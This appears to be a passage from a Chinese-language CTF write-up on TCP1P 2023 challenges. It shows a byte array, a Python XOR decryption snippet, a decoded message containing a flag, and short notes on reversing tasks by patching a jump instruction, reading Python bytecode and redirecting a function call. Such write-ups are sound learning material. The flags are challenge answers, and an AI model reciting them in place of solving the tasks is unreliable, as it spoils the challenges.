     1, 65, 103, 71, 140, 94, 71, 91, 17, 254, 150, 102, 138, 
     195, 144, 134, 196, 35, 233, 36, 158, 72, 5, 145, 132, 116, 
     214, 129, 14, 199, 129, 137, 113, 12, 41, 25, 187, 211, 144, 
     58, 244, 230, 132, 226, 4, 10, 62, 251, 107, 222, 243, 39, 
     137, 77, 210, 195, 23, 223, 215, 106, 219, 143, 44, 8, 122, 
     137, 138, 91, 245, 75, 73, 93, 91, 197, 27, 82, 14, 106, 
     198, 245, 48, 185, 245, 147, 74, 98, 150, 70, 132, 186, 32, 
     10, 237, 21, 185, 32, 142, 64, 107, 126, 89, 128, 237, 24, 
     44, 6, 6, 40, 171, 20, 228, 138, 5, 217, 231, 18, 248, 171, 
     182, 51, 255, 234, 255, 43, 181, 214, 78, 184, 158, 232, 248, 
     128, 165, 40, 104, 14, 87, 111, 250, 71, 93, 41, 57, 21, 
     120, 32, 107, 242, 97, 20, 196, 25, 243, 77, 125, 77, 92, 
     120, 66, 36, 61, 34, 47, 37, 74, 71, 198, 173, 108, 117, 
     189, 48, 1, 204, 10, 244, 162, 221, 93, 170, 245, 23, 157, 
     143, 93, 35, 162, 32, 9, 116, 165, 242, 19, 197, 86, 29, 
     16, 234, 84, 88, 77, 36, 157, 43, 174, 122, 216, 102, 0, 
     206, 166, 183, 192, 215, 190, 123, 11, 128, 113, 223, 55, 
     10, 116, 92, 64, 184, 192, 76, 68, 54, 51, 45, 73, 189, 227, 
     67, 124, 80, 63, 173, 187, 214, 134, 110, 47, 96, 210, 88, 
     158, 194, 50, 9, 188, 233, 248, 56, 2, 9, 4, 86, 216, 129, 
     123, 221, 89, 12, 230, 129, 187, 179, 205, 100, 56, 247, 229, 
     135, 162, 162, 151, 56, 248, 42, 44, 195, 144, 77, 230, 156, 
     184, 126, 141, 20, 129, 251, 117, 186, 125, 151, 113, 252, 
     15, 77, 228, 15, 75, 55, 144, 240, 118, 214, 79, 49, 128, 
     234, 105, 226, 138, 119, 72, 47, 134, 2, 222, 178, 107, 8, 
     152, 132, 166, 128, 133, 16, 215, 90, 154, 142, 1, 95, 161, 
     128, 62, 172, 94, 133, 253, 255, 242, 231, 99, 103, 203, 95, 
     14, 40, 217, 1, 34, 128, 40, 145, 186, 104, 124, 225, 141, 
     56, 192, 228, 180, 199, 44, 73, 254, 75, 38, 139, 8, 120, 
     7, 140, 141, 219, 21, 7, 226, 90, 144, 144, 240, 40, 247, 
     10, 88, 129, 106, 24, 100, 217, 18, 66, 125, 236, 22, 102, 
     197, 234, 175, 13, 170, 70, 57, 74, 200, 126, 103, 156, 127, 
     248, 30, 97, 181, 179, 85, 154, 80, 106, 154, 238, 194, 104, 
     235, 205, 161, 141, 231, 6, 144, 202, 189, 228, 215, 167, 
     197, 7, 109, 161, 31, 230, 238, 132, 180, 59, 63, 18, 210, 
     124, 20, 185, 232, 54, 96, 109, 75, 64, 143, 239, 85, 29, 
     90, 192, 112, 243, 105, 134, 243, 254, 149, 46, 43, 190, 244, 
     166, 23, 4, 214, 224, 26, 47, 232, 25, 173, 118, 62, 164, 
     172, 65, 36, 25, 175, 103, 83, 181, 127, 105, 243, 168, 89, 
     215, 13, 150, 78, 216, 147, 125, 43, 223, 193, 31, 104, 195, 
     107, 222, 106, 119, 168, 39, 178, 47, 231, 212, 29, 50, 233, 
     124, 216, 116, 248, 114, 215, 109, 3, 163, 48, 74, 161, 80, 
     170, 60, 10, 206, 213, 90, 249, 79, 36, 165, 138, 38, 191, 
     58, 56, 128, 144, 203, 226, 168, 138, 79, 104, 171, 70, 40, 
     99, 166, 218, 163, 201, 124, 245, 85, 68, 28, 86, 217, 225, 
     199, 171, 240, 214, 254, 98, 175, 252, 30, 122, 220, 33, 52, 
     135, 129, 115, 0, 214, 124, 236, 241, 41, 68, 179, 102, 77, 
     64, 35, 232, 180, 37, 194, 226, 236, 42, 7, 209, 183, 107, 
     122, 223, 100, 253, 207, 63, 242, 27, 230, 181, 69, 102, 60, 
     77, 175, 192, 196, 171, 80, 61, 0, 153, 82, 114, 213, 106, 
     179, 38, 225, 213, 5, 106, 88, 195, 241, 241, 13, 32, 192, 
     231, 107, 38, 19, 1, 62, 133, 124, 61, 155, 16, 217, 246, 
     230, 117, 68, 207, 172, 21, 64, 254, 82, 170, 25, 41, 249, 
     167, 160, 74, 188, 245, 26, 158, 40, 33, 95, 210, 25, 105, 
     165, 155, 88, 144, 252, 74, 184, 182, 44, 70, 94, 231, 51, 
     153, 160, 132, 144, 110, 27, 66, 174, 34, 54, 133, 16, 188, 
     239, 197, 250, 84, 189, 241, 181, 169, 244, 14, 250, 83, 245, 
     135, 25, 174, 188, 166, 142, 145, 141, 253, 166, 234, 238, 
     222, 49, 10, 56, 42, 115, 80, 12, 133, 157, 133, 203, 91, 
     129, 159, 173, 121, 17, 124, 241, 158, 79, 128, 73, 156, 209, 
     230, 77, 94, 116, 174, 167, 228, 50, 245, 111, 139, 30, 120, 
     191, 112, 217, 169, 109, 246, 12, 207, 116, 250, 32, 230, 
     223, 50, 25, 52, 160, 234, 99, 153, 141, 30, 127, 170, 19, 
     101, 138, 132, 65, 128, 45, 78, 189, 139, 85, 50, 248, 190, 
     119, 94, 45, 250, 221, 248, 20, 151, 246, 6, 112, 242, 3, 
     231, 200, 50, 196, 118, 86, 255, 116, 112, 115, 46, 17, 19, 
     213, 83, 138, 237, 193, 99, 34, 225, 183, 194, 164, 74, 96, 
     186, 110,  152, 82, 208, 130, 34, 235, 129, 12, 52, 237, 
     38, 244, 208, 89, 234, 86, 215, 209, 188, 67, 12, 56, 197, 
     208, 232, 7]
from Crypto.Util.number import *
from pwn import xor
b = long_to_bytes(int(a,2))
print(xor(b, bytes(FLAG)))

b"Your remarkable accomplishment is a testament to your unwavering determination, relentless pursuit of excellence, and unwavering spirit. You have conquered every obstacle with sheer grit, transforming challenges into stepping stones towards triumph. Your efforts, unwavering focus, and boundless passion have propelled you to new heights of success, leaving an indelible mark on the world. Your commitment to excellence serves as an inspiration to all who have had the privilege of witnessing your remarkable journey. As you stand at this pinnacle of achievement, take a moment to reflect on the incredible journey that brought you here. Embrace this milestone as a testament to your unyielding dedication and the incredible potential that resides within you. Here's the flag : TCP1P{where_the_skies_are_blue_to_see_you_once_again}. The world eagerly awaits the remarkable contributions you will undoubtedly make in the future. Your accomplishment has not only made us proud but also redefined the boundaries of what is possible"

debug me

这是一个巨折和程序,无法反编译,好在它是一个个字符比较的,可以在4cd68处将jnz改为jz然后,在结束前下断点,flag就在栈上

[TCP1P 2023] 部分crypto,pwn,reverse_第1张图片

[TCP1P 2023] 部分crypto,pwn,reverse_第2张图片 

Take some byte

 python 字节码,手工搓

TCP1P{byte_code_is_HuFtt}

Subject Encallment 

本来是有flag输出的,但是没有被调用,需要patch一下,记secretFunction改为printFlag即可。

[TCP1P 2023] 部分crypto,pwn,reverse_第3张图片

你可能感兴趣的:(python,开发语言)